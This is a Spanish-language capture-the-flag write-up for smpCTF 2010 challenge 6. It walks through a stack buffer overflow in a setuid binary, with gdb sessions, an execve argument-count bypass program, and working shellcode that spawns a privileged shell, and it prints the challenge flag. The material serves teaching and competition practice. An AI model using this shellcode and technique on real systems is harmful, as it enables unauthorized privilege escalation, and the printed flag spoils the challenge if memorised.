Contenido principal

smpChallenge6 - smpCTF 2010 (Español)

Julio 18, 2010

smpChallenge - 6 (Pwnables 1) por G30rg3_x

Descripción
Ingles
ssh -l hax0r gordo.smpctf.com -p 2282 Password: smpctf.com
Find a way to take advantage of challenge6_bin then steal the flag file from /usr/smp/challenge6/.smpFLAG

Español
ssh -l hax0r gordo.smpctf.com -p 2282 Contraseña: smpctf.com
Encuentra una forma de sacarle ventaja al challenge6_bin, luego roba la bandera de /usr/smp/challenge6/.smpFLAG

Resolución
ATENCION
Para dar una mejor perspectiva hacia el lector en mi resolución, decidir montar el binario en una máquina virtual, aunque esta no asemeja en su totalidad al ambiente real del reto, se obtiene algo muy cercano, por lo que algunas direcciones en memoria no concordaran con las del reto en si, al final de la resolución dare a conocer la que efectivamente me sirvió para pasar el reto.

La descripción del reto nos deja claro que tenemos que identificarnos en un servidor SSH localizado en gordo.smpctf.com puerto 2282, luego de estar conectados, nos identificamos con el usuario hax0r y usamos como contraseña smpctf.com. Una vez dentro nos movemos hacia la carpeta /usr/smp/challenge6/:

[hax0r@gx-vm-archlinux ~]$ alias l='ls -lAh'
[hax0r@gx-vm-archlinux ~]$ id

uid=1003(hax0r) gid=100(users) groups=100(users),1003(smpctf)

[hax0r@gx-vm-archlinux ~]$ cd /usr/smp/challenge6/
[hax0r@gx-vm-archlinux challenge6]$ l
total 12K
-r-sr-x--- 1 challenge6 smpctf     6.7K Jul 17 15:14 challenge6_bin
-r-------- 1 challenge6 challenge6   65 Jul 17 15:15 .smpFLAG

[hax0r@gx-vm-archlinux challenge6]$ cat .smpFLAG

cat: .smpFLAG: Permission denied
[hax0r@gx-vm-archlinux challenge6]$

Sobre challenge6_bin sólo tenemos privilegios de lectura así como de ejecución (ya que hax0r es parte del grupo smpctf), pero lo que mas destaca, es que el binario tiene el bit Setuid, este bit le permite al binario elevarse de privilegios durante la ejecución hacia el usuario challenge6 (no hax0r como contamos), permisos necesarios para leer la bandera en .smpFLAG.
Así que sin mas preámbulo, pasemos al análisis del binario...

Analizando el binario con IDA (+ Hex-Rays) encontramos que el binario se puede decompilar en el siguiente código:

int main(int argc, char *argv[])
{
  if ( argc > 1 )
  {
    puts("found argument");
    exit(0);
  }
  vuln1(argv[1]);
  return 0;
}

int vuln1(char *src)
{
  return vuln2(src);
}

int vuln2(const char *src)
{
  char dest;

  strcpy(&dest, src);

  return 0;
}

Lo primero que inmediatamente salta a nuestra vista es el strcpy en vuln2, como se puede ver este mismo copia la variable src hacia dest, una variable no inicializada, por lo que fácilmente se puede desbordar su contenido, si seguimos, src lo envía la función vuln1 y esta saca src del argumento 1 en la función pricipal (main), por lo que se deduce que al poner cualquier cosa en el argumento 1 provocaría un desbordamiento en la pila, pero antes de esta llamada existe una comprobación del número de argumentos, el cual, si excede más de 1 argumento imprime el mensaje "found argument" (encontré argumento en español) y finaliza la ejecución dejándonos sin posibilidad de desborde.

Aunque el código es correcto, este no esta comprobando que argv[1] exista o tenga un contenido, sino que la cantidad de argumentos no exceda de 1 (sin argumentos llenados por el usuario), por lo que se puede pasar esta protección al simplemente pasarle 0 argumentos y usando el entorno como si fueran los argumentos.

¿Cómo logramos eso? muy simple: execve.
execve nos permite ejecutar un archivo con argumentos así como en un entorno específico, por lo que podemos pasarle como argumentos, un arreglo vacío y un entorno específico, a cualquier aplicación.
Teóricamente hablando, esto suena correcto para traspasar la protección de número de argumentos pero...

¿Cómo le hago para enviar un argumento y sobre todo el argumento número 1?
Para contestar esa pregunta tengo que explicar acerca del funcionamiento de la pila en la ejecución de una aplicación, explicación que tomaría mucho tiempo, por lo que prefiero mostrarles el qué pasaría si enviaramos el argumento 1 como si fuera una variable de entorno, a su vez que enviamos ningún argumento.

Para pasar la protección contra el número de argumentos usaremos el siguiente código que llamaremos bypass.c:

#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  // Arreglo de argumentos vacios (NULL)
  char *arg[] = {0};

  // Pasamos el argumento 1 como si fuera una variable de entorno
  envp[0] = argv[1];

  // Ejecutamos challenge6_bin con el ambiente controlado para pasar
  // la proteccion contra numero de argumentos
  // NOTA: Si vas a hacer pruebas locales no se te olvide cambiar la
  //       ruta hacia challenge6_bin

  execve("/usr/smp/challenge6/challenge6_bin", arg, envp);

}

Ahora depuraremos paso a paso, para esto compilaremos bypass, lo ejecutaremos bajo gdb, pondremos un breakpoint en main y continuamos con el comando "c" para parar justo donde el main del challenge6_bin empieza:

[hax0r@gx-vm-archlinux challenge6]$ cd
[hax0r@gx-vm-archlinux ~]$ gcc bypass.c -o bypass
[hax0r@gx-vm-archlinux ~]$ gdb -q ./bypass
Reading symbols from /home/hax0r/bypass...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483a7

(gdb) r ABCD

Starting program: /home/hax0r/bypass ABCD

Breakpoint 1, 0x080483a7 in main ()
(gdb) c
Continuing.
process 2543 is executing new program: /usr/smp/challenge6/challenge6_bin

Breakpoint 1, 0x08048427 in main ()
(gdb)

Desensamblemos main() para estudiar de cerca en donde estamos:

(gdb) disas main
Dump of assembler code for function main:
   0x08048419 <+0>:     lea    0x4(%esp),%ecx
   0x0804841d <+4>:     and    $0xfffffff0,%esp
   0x08048420 <+7>:     pushl  -0x4(%ecx)
   0x08048423 <+10>:    push   %ebp
   0x08048424 <+11>:    mov    %esp,%ebp
   0x08048426 <+13>:    push   %ecx

=> 0x08048427 <+14>:    sub    $0x4,%esp

   0x0804842a <+17>:    mov    %ecx,-0x8(%ebp)
   0x0804842d <+20>:    mov    -0x8(%ebp),%eax
   0x08048430 <+23>:    cmpl   $0x1,(%eax)
   0x08048433 <+26>:    jle    0x804844f <main+54>
   0x08048435 <+28>:    sub    $0xc,%esp
   0x08048438 <+31>:    push   $0x8048540
   0x0804843d <+36>:    call   0x804830c <puts@plt>
   0x08048442 <+41>:    add    $0x10,%esp
   0x08048445 <+44>:    sub    $0xc,%esp
   0x08048448 <+47>:    push   $0x0

   0x0804844a <+49>:    call   0x804831c <exit@plt>

   0x0804844f <+54>:    mov    -0x8(%ebp),%edx
   0x08048452 <+57>:    mov    0x4(%edx),%eax
   0x08048455 <+60>:    add    $0x4,%eax
   0x08048458 <+63>:    mov    (%eax),%eax
   0x0804845a <+65>:    sub    $0xc,%esp
   0x0804845d <+68>:    push   %eax
   0x0804845e <+69>:    call   0x8048403 <vuln1>
   0x08048463 <+74>:    add    $0x10,%esp
   0x08048466 <+77>:    mov    $0x0,%eax
   0x0804846b <+82>:    mov    -0x4(%ebp),%ecx
   0x0804846e <+85>:    leave
   0x0804846f <+86>:    lea    -0x4(%ecx),%esp
   0x08048472 <+89>:    ret
End of assembler dump.
(gdb)

Como podemos ver hemos parado en el prólogo de la función main de challenge6_bin, para ser exactos en...

0x08048427 <+14>: sub $0x4,%esp

Como observamos, sola unas cuantas instrucciones abajo de esta y estamos cerca de lo que sería la comparación sobre si argc es mayor que 1, así que veamos de cerca como queda esa comparación:

(gdb) ni
0x0804842a in main ()
(gdb)
0x0804842d in main ()
(gdb)
0x08048430 in main ()
(gdb) x $eax

0xbffffaf0:     0x00000000

(gdb) i r
eax            0xbffffaf0       -1073743120
ecx            0xbffffaf0       -1073743120
edx            0x0      0
ebx            0xb7fcbff4       -1208172556
esp            0xbffffad0       0xbffffad0
ebp            0xbffffad8       0xbffffad8
esi            0x0      0
edi            0x0      0
eip            0x8048430        0x8048430 <main+23>
eflags         0x282    [ SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) ni
0x08048433 in main ()
(gdb)
0x0804844f in main ()
(gdb)

Al detenernos en la dirección de comparación (0x08048430), luego de haber pasado 3 instrucciones, vemos que esta comparando 0x1 contra el registro eax, registro cuyo valor es 0 (0x00000000 para ser precisos), por lo que el salto en la siguiente instrucción (0x08048433) se da y nos posiciona detras del exit (0x0804844f), que es la parte donde empieza la llamada hacia vuln1.

Ahora que hemos pasado esa protección depuraremos paso a paso hasta llegar hacia la llamada a vuln1 para que veamos que pasa si no hay argumentos, ¿Qué valor estará referenciando como argv[1], si no hay argumentos?:

(gdb) ni
0x08048452 in main ()
(gdb)
0x08048455 in main ()
(gdb)
0x08048458 in main ()
(gdb)
0x0804845a in main ()
(gdb)
0x0804845d in main ()
(gdb)
0x0804845e in main ()
(gdb) info registers
eax            0xbffffcde       -1073742626
ecx            0xbffffaf0       -1073743120
edx            0xbffffaf0       -1073743120
ebx            0xb7fcbff4       -1208172556
esp            0xbffffac0       0xbffffac0
ebp            0xbffffad8       0xbffffad8
esi            0x0      0
edi            0x0      0
eip            0x804845e        0x804845e <main+69>
eflags         0x292    [ AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

Despues de 5 instrucciones nos encontramos justo en la llamada hacia vuln1 (0x0804845e), la cual analizando las instrucciones previas, podemos ver que justo antes empuja el valor de $eax hacia la pila, como recordaremos en el código decompilado obtenemos que vuln1 toma como argumento el argumento 1 por lo que veamos de cerca que valor tiene el registro eax:

(gdb) x $eax
0xbffffcde:     0x44434241
(gdb)

Ese es el argumento que pasamos como variable de entorno 1 (0 para ser preciso) expresado en formato hexadecimal y en orden little-endian, pero ¿Cómo es que terminó la variable de entorno referenciada en argv[1]?

La respuesta es muy simple: al no haber argumentos, las posiciones en la pila se empujan de tal manera que el entorno quedará colocado en las posiciones en memoria que deberían ocupar los argumentos (recordemos que la pila, escora -apila- los datos de tal manera que el último en entrar sea el primero en salir), por eso es que una variable de entorno terminó siendo referenciada como argv[1].
Veamos la pila para entender esto...

(gdb) x/50x $esp
0xbffffac0:     0xbffffcde      0x08049634      0xbffffae8      0x080484a9
0xbffffad0:     0xbffffaf0      0xbffffaf0      0xbffffb68      0xb7e9bc76
0xbffffae0:     0x08048490      0x00000000      0xbffffb68      0xb7e9bc76
0xbffffaf0:     0x00000000      0xbffffb94      0xbffffb98      0xb7fe1414
0xbffffb00:     0x0177ff8e      0xb7ffefbc      0x08048222      0x00000001
0xbffffb10:     0xbffffb50      0xb7fefa68      0xb7fffab0      0xb7fe06b0
0xbffffb20:     0x00000001      0xb7fcbff4      0x00000000      0x00000000
0xbffffb30:     0xbffffb68      0x5a53d862      0x76de4e72      0x00000000
0xbffffb40:     0x00000000      0x00000000      0x00000000      0x08048330
0xbffffb50:     0x00000000      0xb7ff5df0      0xb7e9bb9b      0xb7ffefbc
0xbffffb60:     0x00000000      0x08048330      0x00000000      0x08048351
0xbffffb70:     0x08048419      0x00000000      0xbffffb94      0x08048490
0xbffffb80:     0x08048480      0xb7ff0af0
(gdb)

Como se puede apreciar, la pila se encuentra justo en donde esta argv[1] y un poco abajo esta argc, ya que como podemos ver en los registros de cuando paramos para ver argc la pila se encontraba en 0xbffffaf0, si seguimos la dirección damos con que referencia al valor 0x00000000, el cual notamos era el que se comparaba contra 0x1 en la protección contra el número de argumentos.

Pero bueno, ya tenemos la explotación y, ¿Ahora qué Sigue?

En la explotación binaria una vez que se encuentra como desbordar, lo que sigue es tratar de tener control sobre una estructura de retorno la cuál nos permita redirigir el flujo de la aplicación hacia algún lado que nosotros podamos controlar, para esto miremos que desbordamos con argv[1] para ver si hay alguna estructura de retorno que nos pueda servir:

(gdb) si
0x08048403 in vuln1 ()
(gdb) disas
Dump of assembler code for function vuln1:

=> 0x08048403 <+0>:     push   %ebp

   0x08048404 <+1>:     mov    %esp,%ebp
   0x08048406 <+3>:     sub    $0x8,%esp
   0x08048409 <+6>:     sub    $0xc,%esp
   0x0804840c <+9>:     pushl  0x8(%ebp)
   0x0804840f <+12>:    call   0x80483e4 <vuln2>
   0x08048414 <+17>:    add    $0x10,%esp
   0x08048417 <+20>:    leave
   0x08048418 <+21>:    ret
End of assembler dump.
(gdb) ni
0x08048404 in vuln1 ()
(gdb)
0x08048406 in vuln1 ()
(gdb)
0x08048409 in vuln1 ()
(gdb)
0x0804840c in vuln1 ()
(gdb)
0x0804840f in vuln1 ()
(gdb) si
0x080483e4 in vuln2 ()
(gdb) disas
Dump of assembler code for function vuln2:
=> 0x080483e4 <+0>:     push   %ebp
   0x080483e5 <+1>:     mov    %esp,%ebp
   0x080483e7 <+3>:     sub    $0x78,%esp
   0x080483ea <+6>:     sub    $0x8,%esp
   0x080483ed <+9>:     pushl  0x8(%ebp)
   0x080483f0 <+12>:    lea    -0x64(%ebp),%eax
   0x080483f3 <+15>:    push   %eax
   0x080483f4 <+16>:    call   0x80482fc <strcpy@plt>
   0x080483f9 <+21>:    add    $0x10,%esp
   0x080483fc <+24>:    mov    $0x0,%eax
   0x08048401 <+29>:    leave
   0x08048402 <+30>:    ret
End of assembler dump.
(gdb) ni
0x080483e5 in vuln2 ()
(gdb)
0x080483e7 in vuln2 ()
(gdb)
0x080483ea in vuln2 ()
(gdb)
0x080483ed in vuln2 ()
(gdb)
0x080483f0 in vuln2 ()
(gdb)
0x080483f3 in vuln2 ()
(gdb)
0x080483f4 in vuln2 ()
(gdb) info registers
eax            0xbffffa34       -1073743308
ecx            0xbffffaf0       -1073743120
edx            0xbffffaf0       -1073743120
ebx            0xb7fcbff4       -1208172556
esp            0xbffffa10       0xbffffa10
ebp            0xbffffa98       0xbffffa98
esi            0x0      0
edi            0x0      0
eip            0x80483f4        0x80483f4 <vuln2+16>
eflags         0x296    [ PF AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb)

Recordemos que strcpy toma 2 argumentos, uno es el destino el cual se puede ver en el registro eax y el otro es el origen, veamos la pila antes de la ejecución de strcpy:

(gdb) x $eax
0xbffffa34:     0x08048198
(gdb) x $esp
0xbffffa10:     0xbffffa34
(gdb) x/10x $esp
0xbffffa10:     0xbffffa34      0xbffffcde      0x00000000      0x00000001
0xbffffa20:     0x00000895      0xb7fe06b0      0xb7fe03d0      0x08048222
0xbffffa30:     0xb7e91f18      0x08048198
(gdb) x/30x $esp
0xbffffa10:     0xbffffa34      0xbffffcde      0x00000000      0x00000001
0xbffffa20:     0x00000895      0xb7fe06b0      0xb7fe03d0      0x08048222

0xbffffa30:     0xb7e91f18      0x08048198      0x00000001      0xb7ffefbc

0xbffffa40:     0xbffffb40      0xb7fffab0      0xbffffb10      0xb7feb999
0xbffffa50:     0xbffffb00      0x08048198      0xbffffaf4      0xb7fffa54
0xbffffa60:     0x00000000      0xb7fe06b0      0x00000001      0x00000000
0xbffffa70:     0x00000001      0xb7fff8f8      0x00000000      0x00000000
0xbffffa80:     0x00020000      0x00010000
(gdb)

De la pila podemos ver que claramente al inicio (0xbffffa10) seguido al destino está el origen, la cual es la dirección que ya conocemos como nuestro argv[1] (0xbffffcde), ejecutemos el strcpy para ver como queda la pila despues de su ejecución:

(gdb) ni
0x080483f9 in vuln2 ()
(gdb) x/30x $esp
0xbffffa10:     0xbffffa34      0xbffffcde      0x00000000      0x00000001
0xbffffa20:     0x00000895      0xb7fe06b0      0xb7fe03d0      0x08048222

0xbffffa30:     0xb7e91f18      0x44434241      0x00000000      0xb7ffefbc

0xbffffa40:     0xbffffb40      0xb7fffab0      0xbffffb10      0xb7feb999
0xbffffa50:     0xbffffb00      0x08048198      0xbffffaf4      0xb7fffa54
0xbffffa60:     0x00000000      0xb7fe06b0      0x00000001      0x00000000
0xbffffa70:     0x00000001      0xb7fff8f8      0x00000000      0x00000000
0xbffffa80:     0x00020000      0x00010000
(gdb)

Exactamente como imaginos se copió 0x44434241/argv[1] (0xbffffcde) en la posición apuntada por el inicio (0xbffffa10), la cual es la dirección de destino (0xbffffa34).
Veamos que le sigue a la dirección de destino para ver de que nos podemos aprovechar para tomar el control del flujo:

(gdb) x/50x 0xbffffa34

0xbffffa34:     0x44434241      0x00000000      0xb7ffefbc      0xbffffb40

0xbffffa44:     0xb7fffab0      0xbffffb10      0xb7feb999      0xbffffb00
0xbffffa54:     0x08048198      0xbffffaf4      0xb7fffa54      0x00000000
0xbffffa64:     0xb7fe06b0      0x00000001      0x00000000      0x00000001
0xbffffa74:     0xb7fff8f8      0x00000000      0x00000000      0x00020000
0xbffffa84:     0x00010000      0x00020000      0xb7fcbff4      0xb7fca1f4
0xbffffa94:     0xb7eb2ea5      0xbffffab8      0x08048414      0xbffffcde
0xbffffaa4:     0xbffffb00      0xb7fcccc0      0xb7fcccc0      0xb7fcbff4
0xbffffab4:     0x08049634      0xbffffad8      0x08048463      0xbffffcde
0xbffffac4:     0x08049634      0xbffffae8      0x080484a9      0xbffffaf0
0xbffffad4:     0xbffffaf0      0xbffffb68      0xb7e9bc76      0x08048490
0xbffffae4:     0x00000000      0xbffffb68      0xb7e9bc76      0x00000000
0xbffffaf4:     0xbffffb94      0xbffffb98
(gdb)

De todas las direcciones que salen en la pila, destaca 0x08048414 (en 0xbffffa9c), esta aparte de ser de las pocas que esta en las direcciones de memoria del challenge6_bin apunta hacia un lugar conocido:

vuln1()
...
   0x0804840f <+12>:    call   0x80483e4 <vuln2>
   0x08048414 <+17>:    add    $0x10,%esp
...

Exactamente ese es el punto de retorno de vuln1 al terminar la ejecución de vuln2, por lo que si sobreescribimos esa dirección que está en la pila podemos tomar el control de la aplicación.
Este punto se encuentra a tan solo 104 bytes de donde podemos desbordar, por lo que veamos que pasa con la aplicación si le enviamos 108 bytes (104 A's y 4 B's), los cuales si estamos en lo correcto, deberían provocar que la aplicación intente saltar hacia BBBB o bien 0x42424242 en notación hexadecimal:

(gdb) q
A debugging session is active.

        Inferior 1 [process 2570] will be killed.

Quit anyway? (y or n) y
[hax0r@gx-vm-archlinux ~]$ gdb -q ./bypass
Reading symbols from /home/hax0r/bypass...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x80483a7

(gdb) r `python -c 'print "A" * 104 + "BBBB"'`

Starting program: /home/hax0r/bypass `python -c 'print "A" * 104 + "BBBB"'`

Breakpoint 1, 0x080483a7 in main ()
(gdb) c
Continuing.
process 2577 is executing new program: /usr/smp/challenge6/challenge6_bin

Breakpoint 1, 0x08048427 in main ()
(gdb) b vuln2
Breakpoint 2 at 0x80483ea
(gdb) c
Continuing.

Breakpoint 2, 0x080483ea in vuln2 ()
(gdb) ni
0x080483ed in vuln2 ()
(gdb)
0x080483f0 in vuln2 ()
(gdb)
0x080483f3 in vuln2 ()
(gdb)
0x080483f4 in vuln2 ()
(gdb) info registers
eax            0xbffff9d4       -1073743404
ecx            0xbffffa90       -1073743216
edx            0xbffffa90       -1073743216
ebx            0xb7fcbff4       -1208172556
esp            0xbffff9b0       0xbffff9b0
ebp            0xbffffa38       0xbffffa38
esi            0x0      0
edi            0x0      0
eip            0x80483f4        0x80483f4 <vuln2+16>
eflags         0x296    [ PF AF SF IF ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) x/4x $esp
0xbffff9b0:     0xbffff9d4      0xbffffc76      0x00000000      0x00000001
(gdb) ni
0x080483f9 in vuln2 ()
(gdb)
0x080483fc in vuln2 ()
(gdb)
0x08048401 in vuln2 ()
(gdb)
0x08048402 in vuln2 ()
(gdb)
0x42424242 in ?? ()
(gdb)

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)

Lo logramos! =)
Como se puede ver, cuando la aplicación intenta saltar hacia nuestro punto de retorno malo, provoca un fallo de segmentación, que no nos preocupa pues nosotros fuimos los causantes de ese fallo al sobreescribir la dirección de retorno hacia vuln1 desde vuln2.
Sin embargo hay que notar que las direcciones de destino así como origen cambiaron, debido a que al hacer más grande la cantidad de datos del argumento 1 este corre toda la pila, en este caso aumento 104 bytes por lo que hay que tener en cuenta que argv[1] se encuentra ahora en 0xbffffc76, ya no en 0xbffffcde.

¿Ahora qué nos falta?
Ok, pues ya tenemos:
- Como sobreescribir,
- Como controlar el flujo
pero ¿Hacia dónde vamos?

Existen muchas técnicas y lugares donde mover el flujo para poder ejecutar nuestro propio código, pero la mas común es apuntar hacia la dirección del mismo argumento que usamos para desbordar la pila, ya que en sí esos 104 bytes van a estar ahí, ¿por qué no aprovecharlos?
Para esto apuntaremos el retorno hacia 0xbffffc76, que como se dijo es argv[1], ahora para poder enviar la información tendremos que enviarla en el formato little-endian, el cual dice que comenzemos del mas chico al mas grande o en otras palabras, que comenzemos enviando primero el último byte, por lo que para enviar 0xbffffc76 lo tendremos que enviar como \x76\xfc\xff\xbf, así que probemos ahora, si todo sale bien debe fallar al terminar de ejecutar las A's o bien \x41 (que en ensamblador son realmente traducidas como incrementos al registro ecx):

(gdb) q
A debugging session is active.

        Inferior 1 [process 2577] will be killed.

Quit anyway? (y or n) y
[hax0r@gx-vm-archlinux ~]$ gdb -q ./bypass
Reading symbols from /home/hax0r/bypass...(no debugging symbols found)...done.

(gdb) r `python -c 'print "A" * 104 + "\x76\xfc\xff\xbf"'`

Starting program: /home/hax0r/bypass `python -c 'print "A" * 104 + "\x76\xfc\xff\xbf"'`
process 2592 is executing new program: /usr/smp/challenge6/challenge6_bin

Program received signal SIGILL, Illegal instruction.

0xbffffce0 in ?? ()
(gdb)

Como se predijo, hubo un fallo de instrucción ilegal al terminar de ejecutar las A's... ¿Qué como lo se?
Fácilmente entre 0xbffffc76 y 0xbffffce0 hay 106 bytes de diferencia (si no me creen saquen su calculadora xD), por lo que deduzco que falló al intentar ejecutar (o bien representar) la propia dirección de retorno (0xbffffc76), lo que resta ahora por hacer es poner algo que ejecutar y no esas A's.

Vamos a necesitar una shellcode especial que nos otorgue una shell y que antes de hacerlo se eleve de privilegios para que herede los permisos del binario, para esto, mi shellcode favorita es una de 34 Bytes creada por blue9057.
Como la shellcode sólo tiene un largo de 34 Bytes y tenemos 104 que llenar, lo que hacemos es rellenar el argumento con NOP's o bien 0x90, los cuales no afectan a la ejecución ya que no realizan ninguna operación y nos sirven claro, como un relleno (a esta técnica de relleno se le conoce como NOPSled -en español se podría traducir como un Trineo de NOPs-, ya que estos no afectan a la ejecución y permiten que siga su curso hasta llegar a la shellcode), por lo cual vamos a necesitar 70 NOP's, la shellcode de 34 Bytes y la direccion de argv[1], con lo que finalmente estamos listos para probar nuestro exploit y así "tomar ventaja" del Setuid de challenge6_bin para obtener la bandera del reto:

(gdb) q
A debugging session is active.

        Inferior 1 [process 2592] will be killed.

Quit anyway? (y or n) y
[hax0r@gx-vm-archlinux ~]$ gdb -q ./bypass
Reading symbols from /home/hax0r/bypass...(no debugging symbols found)...done.

(gdb) r `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x76\xfc\xff\xbf"'`

Starting program: /home/hax0r/bypass `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x76\xfc\xff\xbf"'`
process 2599 is executing new program: /usr/smp/challenge6/challenge6_bin
process 2599 is executing new program: /bin/bash
[hax0r@gx-vm-archlinux hax0r]$ id
uid=1003(hax0r) gid=100(users) groups=100(users),1003(smpctf)
[hax0r@gx-vm-archlinux hax0r]$ exit
exit

Program exited normally.
(gdb)

Excelente...
Obtuvimos shell, pero como lo probamos desde GDB, este mismo impide la elevación de privilegios, por lo que saldremos de nuestro ambiente de depuración y pasaremos al mundo real para ver si nuestro exploit funciona...

(gdb) q

[hax0r@gx-vm-archlinux ~]$ ./bypass `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x76\xfc\xff\xbf"'`

[challenge6@gx-vm-archlinux hax0r]$ id

uid=1002(challenge6) gid=100(users) groups=1002(challenge6),100(users),1003(smpctf)

[challenge6@gx-vm-archlinux hax0r]$

PERFECTO!!!
Lo hemos logrado!
No sólo se ejecuto a la perfeccion nuestro exploit, sino que también obtuvo los privilegios de challenge6, por lo que debemos podemos leer la bandera sin ningun problema:

[challenge6@gx-vm-archlinux hax0r]$ cd /usr/smp/challenge6/
[challenge6@gx-vm-archlinux challenge6]$ cat .smpFLAG
Challenge ID: 45ceb8fe
Flag: GERONIMO hoookers, good job fat man
[challenge6@gx-vm-archlinux challenge6]$

Ya con la bandera sólo nos restaba enviar el Challenge ID y la bandera para obtener los puntos:

Flag submission!

Exploit usado durante el torneo
Durante el torneo por las prisas, no se pudo realmente dejar un exploit muy trabajado como el anterior, sino que se usó uno mas sucio que en un principo (como se puede ver en el log) falló y además tuve que bruteforcear la posición del retorno/argv[1], aunque claro, al final cumplió con su acometido...

hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x69\xf3\xff\xbf" + "C"*32'`
Segmentation fault
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x59\xf3\xff\xbf" + "C"*32'`
Segmentation fault
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x49\xf3\xff\xbf" + "C"*32'`
Segmentation fault
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x39\xf3\xff\xbf" + "C"*32'`
Segmentation fault
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x29\xf3\xff\xbf" + "C"*32'`
Segmentation fault
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x19\xf3\xff\xbf" + "C"*32'`
Illegal instruction
hax0r@gordo:/var/tmp/nlabs$ ./hola `python -c 'print "\x90" * 70 + "\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80" + "\x09\xf3\xff\xbf" + "C"*32'`
bash-3.1$ id

uid=1008(challenge6) gid=102(smpctf) groups=102(smpctf),103(levels)

bash-3.1$ cat /usr/smp/challenge6/.smpFLAG
Challenge Key: 45ceb8fe
Flag: GERONIMO hoookers, good job fat man
bash-3.1$

Recursos
challenge6_bin

Respuesta
Challenge ID: 45ceb8fe
Flag: GERONIMO hoookers, good job fat man

Archivado en: Ingeniería Inversa, Retos informáticos, Seguridad, Sistemas operativos |

1 comentario

  1. kagure Julio 18, 2010 @ 6:23 pm

    Pues las verdad que de todo solo he entendido la mitad por qeu cada ves hay mas nivel en sinfocol muy bien por todos y gracias por compartir.

Deja un comentario